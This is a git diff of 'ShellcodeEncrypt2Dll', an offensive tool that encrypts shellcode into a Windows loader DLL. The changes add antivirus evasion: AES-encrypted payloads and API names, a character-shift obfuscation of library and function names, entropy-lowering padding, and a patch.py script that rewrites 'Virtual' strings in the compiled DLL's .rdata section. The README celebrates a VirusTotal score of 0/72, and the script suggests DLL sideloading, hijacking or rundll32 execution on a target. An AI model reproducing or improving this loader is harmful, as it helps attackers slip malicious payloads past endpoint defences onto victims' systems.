diff --git a/README.md b/README.md index 221a140..7940487 100644 --- a/README.md +++ b/README.md @@ -14,7 +14,13 @@ VT: 2/72 (13/3/2025) VT: 3/72 (14/3/2025) -![ShellcodeEncrypt2Dll_vs_VT](https://raw.githubusercontent.com/restkhz/blogImages/main/img/屏幕截图_20250313_050702.png) +VT: 3/73 (27/3/2025) + +**VT: 0/72 (28/3/2025) (after update)** + +![](https://raw.githubusercontent.com/restkhz/blogImages/main/img/屏幕截图_20250328_193321.png) + + ![](https://raw.githubusercontent.com/restkhz/blogImages/main/img/屏幕截图_20250313_060155.png) @@ -27,8 +33,8 @@ Dependencies: pip install pycryptodome sudo apt install mingw-w64 ``` -I know no one wants to memorize a bunch of arguments. -Edit your key in the `ShellcodeEncrypt2Dll.py` +I know no one wants to memorize a bunch of arguments… +**Edit your key in the `ShellcodeEncrypt2Dll.py` first** Example: ``` @@ -39,7 +45,15 @@ or python ShellcodeEncrypt2Dll.py --standalone shellcode.raw ``` -Then you will get a `shell.dll` +Then you will get a `loader.dll` + +For a particular antivirus program, we need to patch the dll to bypass… + +``` +python patch.py (optional) +``` + +Then you will get a `loader_patched.dll` For non-standalone: ``` @@ -64,6 +78,10 @@ Your can edit your key in the python script. This script will generate a header file for template.cpp, then try to compile with `x86_64-w64-mingw32-g++`. The `shellcode` and `function names` like `VirtuallAlloc`, `CreateThread` etc will be encrypted(AES-CBC) with key. +Hide suspicious strings as much as possible… + +Considering entropy… + The standalone mode will store the key in the DLL. Decrypt itself when running. The non-standalone mode needs your key as a parameter to decrypt itself when running. diff --git a/ShellcodeEncrypt2Dll.py b/ShellcodeEncrypt2Dll.py index 89fc827..ec095d8 100644 --- a/ShellcodeEncrypt2Dll.py +++ b/ShellcodeEncrypt2Dll.py @@ -40,26 +40,40 @@ def makeHeaderFile(payload): encKey = f'#define KEY { ', '.join('0x{:02x}'.format(b) for b in bytearray(KEY))}\n' # payload - encPayload = f'#define PAYLOAD {', '.join('0x{:02x}'.format(b) for b in JPG_HEAD + aesenc(payload, KEY) + JPG_TAIL)}\n' + encPayload = aesenc(payload, KEY) + encPayloadDef = f'#define PAYLOAD {',0x00,'.join('0x{:02x}'.format(b) for b in JPG_HEAD + encPayload + JPG_TAIL)}\n' + encPayloadEntropyDef = f'#define LOWER_PAYLOAD_ENTROPY {','.join(['0xff']* len(encPayload))}\n' print(encKey, end='') print(encPayload, end='') # funcName - print("\nEncrypting functions:\n") - encFuncList = [] + print("\n\nEncrypting functions:") + encFuncDefList = [] + + # lower func entropy + encFuncEntropyLen = 0 + for f in funcList: - encFunc = f'#define {f.upper().rstrip('\0')} {', '.join(('0x{:02x}'.format(b) for b in JPG_HEAD + aesenc(f.encode(), KEY) + JPG_TAIL))}\n' - print(encFunc, end='') - encFuncList.append(encFunc) + encFunc = aesenc(f.encode(), KEY) + encFuncDef = f'#define {f.upper().rstrip('\0')} {', '.join(('0x{:02x}'.format(b) for b in JPG_HEAD + encFunc + JPG_TAIL))}\n' + print(encFuncDef, end='') + encFuncDefList.append(encFuncDef) + encFuncEntropyLen += len(encFunc) + # payload and funcname offset offsetHead = f'#define OFFSET_HEAD {str(len(JPG_HEAD))}\n' offsetTail = f'#define OFFSET_TAIL {str(len(JPG_TAIL))}\n' + # insert 0 to lower the entropy by the length of encrypted func name + encFuncEntropyDef = f'#define LOWER_FUNCNAME_ENTROPY {','.join(['0xff']*encFuncEntropyLen)}\n' + f = open("shellcode.h","w") - f.write(encKey+encPayload + offsetHead + offsetTail +''.join(encFuncList)) + f.write(encKey+encPayloadDef + offsetHead + offsetTail +''.join(encFuncDefList) + encFuncEntropyDef + encPayloadEntropyDef ) f.close() + print() + # x86_64-w64-mingw32-gcc template.cpp --shared -o test_ns.dll -lcrypt32 -O2 -fvisibility=hidden -Wl,--dynamicbase -Wl,--nxcompat -DNDEBUG -s def main(): @@ -103,13 +117,13 @@ python ShellcodeEncrypt2Dll.py --standalone shellcode.raw if args.standalone: print("STANDALONE mode") - command = ['x86_64-w64-mingw32-g++', 'template.cpp', '--shared', '-O0', '-fvisibility=hidden', '-DSTANDALONE', '-fpermissive', '-Wl,--dynamicbase', '-Wl,--nxcompat', '-DNDEBUG', '-s', '-o', 'shell.dll'] + command = ['x86_64-w64-mingw32-g++', 'template.cpp', '--shared', '-O0', '-fvisibility=hidden', '-static-libgcc', '-static-libstdc++', '-static', '-DSTANDALONE', '-fpermissive', '-Wl,--dynamicbase', '-Wl,--nxcompat', '-DNDEBUG', '-s', '-o', 'loader.dll'] print("You can use it for sideload/hijack or in a printnightmare-like scenario.") print("Or just simply: rundll32 ,EPoint") elif args.non_standalone: print("NON-STANDALONE mode:") - command = ['x86_64-w64-mingw32-g++', 'template.cpp', '--shared', '-O0', '-fvisibility=hidden', '-Wl,--dynamicbase', '-fpermissive','-Wl,--nxcompat', '-DNDEBUG', '-s', '-o', 'shell.dll'] + command = ['x86_64-w64-mingw32-g++', 'template.cpp', '--shared', '-O0', '-fvisibility=hidden','-static-libgcc', '-static-libstdc++', '-static', '-Wl,--dynamicbase', '-fpermissive','-Wl,--nxcompat', '-DNDEBUG', '-s', '-o', 'loader.dll'] print(f"Try to run on target: rundll32 ,EPoint {KEY.decode()}") try: print("[+] Compiling") @@ -118,7 +132,7 @@ python ShellcodeEncrypt2Dll.py --standalone shellcode.raw print("[-] Compile Failure:") print(result.stderr) else: - print("[+] Done: shell.dll") + print("[+] Done: loader.dll") print(result.stdout) except FileNotFoundError: diff --git a/patch.py b/patch.py new file mode 100644 index 0000000..6da2a65 --- /dev/null +++ b/patch.py @@ -0,0 +1,35 @@ +import pefile + +# Replace string "Virtual" in .rdata section to by pass some AV +# just run python patch.py + +old_str = b"Virtual" +new_str = b"Blahbla" + +pe = pefile.PE("loader.dll") + +rdata_found = False +for section in pe.sections: + section_name = section.Name.rstrip(b'\x00') + if section_name == b'.rdata': + rdata_found = True + print("[+] .rdata section found") + data = section.get_data() + + if old_str not in data: + print("[+] Found string 'Virtual'") + else: + new_data = data.replace(old_str, new_str) + raw_offset = section.PointerToRawData + pe.__data__ = pe.__data__[:raw_offset] + new_data + pe.__data__[raw_offset + len(new_data):] + print("[+] Done!") + break + +if not rdata_found: + print("[-] .rdata not found") + +output_filename = "loader_patched.dll" +with open(output_filename, "wb") as f: + f.write(pe.__data__) + +print(f"[+] Saved to {output_filename}") diff --git a/template.cpp b/template.cpp index ec4ba87..a6238c2 100644 --- a/template.cpp +++ b/template.cpp @@ -4,7 +4,7 @@ #include #include "shellcode.h" -#pragma comment(lib, "crypt32.lib") +//#pragma comment(lib, "crypt32.lib") #pragma comment(lib, "user32.lib") typedef LPVOID (WINAPI *pVirtualAlloc)(LPVOID, SIZE_T, DWORD, DWORD); @@ -12,6 +12,16 @@ typedef VOID (WINAPI *pRtlMoveMemory)(PVOID, const VOID*, SIZE_T); typedef HANDLE (WINAPI *pCreateThread)(LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD); typedef BOOL (WINAPI *pVirtualProtect)(LPVOID, SIZE_T, DWORD, PDWORD); +typedef BOOL (WINAPI *PFN_CryptAcquireContextW)(HCRYPTPROV*, LPCWSTR, LPCWSTR, DWORD, DWORD); +typedef BOOL (WINAPI *PFN_CryptCreateHash)(HCRYPTPROV, ALG_ID, HCRYPTKEY, DWORD, HCRYPTHASH*); +typedef BOOL (WINAPI *PFN_CryptHashData)(HCRYPTHASH, const BYTE*, DWORD, DWORD); +typedef BOOL (WINAPI *PFN_CryptDeriveKey)(HCRYPTPROV, ALG_ID, HCRYPTHASH, DWORD, HCRYPTKEY*); +typedef BOOL (WINAPI *PFN_CryptSetKeyParam)(HCRYPTKEY, DWORD, const BYTE*, DWORD); +typedef BOOL (WINAPI *PFN_CryptDecrypt)(HCRYPTKEY, HCRYPTHASH, BOOL, DWORD, BYTE*, DWORD*); +typedef BOOL (WINAPI *PFN_CryptDestroyKey)(HCRYPTKEY); +typedef BOOL (WINAPI *PFN_CryptDestroyHash)(HCRYPTHASH); +typedef BOOL (WINAPI *PFN_CryptReleaseContext)(HCRYPTPROV, DWORD); + pVirtualAlloc dynVirtualAlloc = NULL; pRtlMoveMemory dynMoveMemory = NULL; pCreateThread dynCreateThread = NULL; @@ -21,8 +31,57 @@ pVirtualProtect dynVirtualProtect = NULL; #define USE_HEADER_KEY #endif +void leftShift(char *str) { + if (str == NULL) return; + for (size_t i = 0; i < strlen(str); i++) { + str[i] = str[i] - 1; + } +} void DecryptAES(char* shellcode, DWORD shellcodeLen, char* key, DWORD keyLen) { + + char advapi32[] = "bewbqj43/emm"; + leftShift(advapi32); + + HMODULE hAdvapi32 = LoadLibraryA(advapi32); + + char CryptAcquireContextW_E[] = "DszquBdrvjsfDpoufyuX"; + char CryptCreateHash_E[] = "DszquDsfbufIbti"; + char CryptHashData_E[] = "DszquIbtiEbub"; + char CryptDeriveKey_E[] = "DszquEfsjwfLfz"; + char CryptSetKeyParam_E[] = "DszquTfuLfzQbsbn"; + char CryptDecrypt_E[] = "DszquEfdszqu"; + char CryptDestroyKey_E[] = "DszquEftuspzLfz"; + char CryptDestroyHash_E[] = "DszquEftuspzIbti"; + char CryptReleaseContext_E[] = "DszquSfmfbtfDpoufyu"; + + char *encrypted_functions[] = { + CryptAcquireContextW_E, + CryptCreateHash_E, + CryptHashData_E, + CryptDeriveKey_E, + CryptSetKeyParam_E, + CryptDecrypt_E, + CryptDestroyKey_E, + CryptDestroyHash_E, + CryptReleaseContext_E + }; + + int num = sizeof(encrypted_functions) / sizeof(encrypted_functions[0]); + + for (int i = 0; i < num; i++) { leftShift(encrypted_functions[i]);} + + PFN_CryptAcquireContextW CryptAcquireContextW = (PFN_CryptAcquireContextW)GetProcAddress(hAdvapi32, CryptAcquireContextW_E); + PFN_CryptCreateHash CryptCreateHash = (PFN_CryptCreateHash)GetProcAddress(hAdvapi32, CryptCreateHash_E); + PFN_CryptHashData CryptHashData = (PFN_CryptHashData)GetProcAddress(hAdvapi32, CryptHashData_E); + PFN_CryptDeriveKey CryptDeriveKey = (PFN_CryptDeriveKey)GetProcAddress(hAdvapi32, CryptDeriveKey_E); + PFN_CryptSetKeyParam CryptSetKeyParam = (PFN_CryptSetKeyParam)GetProcAddress(hAdvapi32, CryptSetKeyParam_E); + PFN_CryptDecrypt CryptDecrypt = (PFN_CryptDecrypt)GetProcAddress(hAdvapi32, CryptDecrypt_E); + PFN_CryptDestroyKey CryptDestroyKey = (PFN_CryptDestroyKey)GetProcAddress(hAdvapi32, CryptDestroyKey_E); + PFN_CryptDestroyHash CryptDestroyHash = (PFN_CryptDestroyHash)GetProcAddress(hAdvapi32, CryptDestroyHash_E); + PFN_CryptReleaseContext CryptReleaseContext = (PFN_CryptReleaseContext)GetProcAddress(hAdvapi32, CryptReleaseContext_E); + + HCRYPTPROV hProv; HCRYPTHASH hHash; HCRYPTKEY hKey; @@ -82,12 +141,17 @@ void DecryptAES(char* shellcode, DWORD shellcodeLen, char* key, DWORD keyLen) { BOOL InitDynamicFunctions(char* key, DWORD keyLen) { - HMODULE hKernel32 = GetModuleHandleA("kernel32.dll"); + + char kernel32[] = "lfsofm43/emm"; + leftShift(kernel32); + + HMODULE hKernel32 = GetModuleHandleA(kernel32); unsigned char VA[] = {VIRTUALALLOC}; unsigned char RMM[] = {RTLMOVEMEMORY}; unsigned char CT[] = {CREATETHREAD}; unsigned char VP[] = {VIRTUALPROTECT}; + unsigned char lower_funcname_entropy[] = {LOWER_FUNCNAME_ENTROPY}; DecryptAES((char*)VA, sizeof(VA), key, keyLen); DecryptAES((char*)RMM, sizeof(RMM), key, keyLen); @@ -117,8 +181,20 @@ void CALLBACK run(void) { unsigned char key[] = { KEY }; DWORD keyLen = sizeof(key); - unsigned char payload[] = { PAYLOAD }; - DWORD payloadLen = sizeof(payload); + unsigned char origPayload[] = { PAYLOAD }; + size_t loopLength = sizeof(origPayload) / sizeof(origPayload[0]); + size_t payloadLen = (sizeof(origPayload) / sizeof(origPayload[0]) + 1) / 2; + unsigned char payload[payloadLen]; + + DWORD i,j = 0; + for(i=0; i < loopLength; i+=2) { + payload[j] = origPayload[i]; + j++; + } + + + unsigned char lower_payload_entropy[] = { LOWER_PAYLOAD_ENTROPY }; + //DWORD payloadLen = sizeof(payload); if (!InitDynamicFunctions((char*)key, keyLen)) { return; @@ -159,8 +235,19 @@ void CALLBACK run(void) { } #else void CALLBACK run(char* key, DWORD keyLen) { - unsigned char payload[] = { PAYLOAD }; - DWORD payloadLen = sizeof(payload); + unsigned char origPayload[] = { PAYLOAD }; + size_t loopLength = sizeof(origPayload) / sizeof(origPayload[0]); + size_t payloadLen = (sizeof(origPayload) / sizeof(origPayload[0]) + 1) / 2; + unsigned char payload[payloadLen]; + + DWORD i,j = 0; + for(i=0; i < loopLength; i+=2) { + payload[j] = origPayload[i]; + j++; + } + + unsigned char lower_payload_entropy[] = { LOWER_PAYLOAD_ENTROPY }; + //DWORD payloadLen = sizeof(payload); if (!InitDynamicFunctions((char*)key, keyLen)) { free(key); @@ -223,6 +310,7 @@ DWORD WINAPI ThreadProc(LPVOID lpParam) { } #endif + extern "C" __declspec(dllexport) void CALLBACK meow(HWND hwnd, HINSTANCE hinst, LPSTR lpszCmdLine, int nCmdShow) { #ifdef USE_HEADER_KEY @@ -234,12 +322,7 @@ void CALLBACK meow(HWND hwnd, HINSTANCE hinst, LPSTR lpszCmdLine, int nCmdShow) #endif } -#ifdef USE_HEADER_KEY -DWORD WINAPI ThreadProc(LPVOID lpParam) { - run(); - return 0; -} -#endif + BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {